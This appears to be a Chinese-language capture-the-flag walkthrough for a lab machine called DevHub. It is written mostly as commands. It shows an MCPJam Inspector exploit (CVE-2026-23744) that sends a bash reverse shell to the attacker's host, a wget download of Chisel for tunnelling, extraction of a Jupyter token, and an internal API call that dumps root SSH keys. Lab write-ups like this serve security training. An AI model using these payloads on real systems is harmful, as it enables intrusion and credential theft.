靶机: DevHub
难度: 中等
操作系统: Linux
主题: CVE-2026-23744、Chisel 隧道、Jupyter、Flask API、Root 权限提升
nmap -sC -sV devhub.htb
结果:
端口 22(SSH)
端口 80(HTTP)
端口 6274(MCPJam Inspector)
📌 2. 修改 hosts 文件
echo "10.x.x.x devhub.htb" >> /etc/hosts
📌 3. 探索网站
http://devhub.htb/ → 着陆页
http://devhub.htb:6274/ → MCPJam Inspector v1.4.2(存在 CVE-2026-23744 漏洞)
📌 4. 以 mcp-dev 身份获取反向 Shell
终端 1 – 监听器:
nc -lvnp 4444
终端 2 – Payload:
curl -X POST http://devhub.htb:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'
✅ 以 mcp-dev 身份获得 Shell
📌 5. 设置 Chisel 隧道
HTTP 服务器(攻击机):
python3 -m http.server 8000 --bind 10.x.x.x
在目标机上下载 Chisel(mcp-dev Shell):
cd /tmp
wget http://10.x.x.x:8000/chisel
chmod +x chisel
Chisel 服务器(攻击机):
./chisel server --reverse --port 9001
Chisel 客户端(mcp-dev Shell):
./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &
📌 6. 访问 Jupyter
提取 Token(mcp-dev Shell):
ps aux | grep jupyter | grep -v grep
Token:a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx
浏览器:http://localhost:8888/?token=...
📌 7. 获取 Root SSH 密钥(在 Jupyter 中)
import requests, json
url = "http://127.0.0.1:5000/tools/call"
headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"}
payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}
response = requests.post(url, headers=headers, json=payload)
print(json.dumps(response.json(), indent=2))
📌 8. 以 Root 身份登录
nano root_key
# 插入密钥
chmod 600 root_key
ssh -i root_key [email protected]
📌 9. 读取 Flag
cat /root/root.txt
cat /home/analyst/user.txt
Root Flag:
08be4cfb68597d0f9edfccxxxxxxxxxx
祝你成功!🚀
---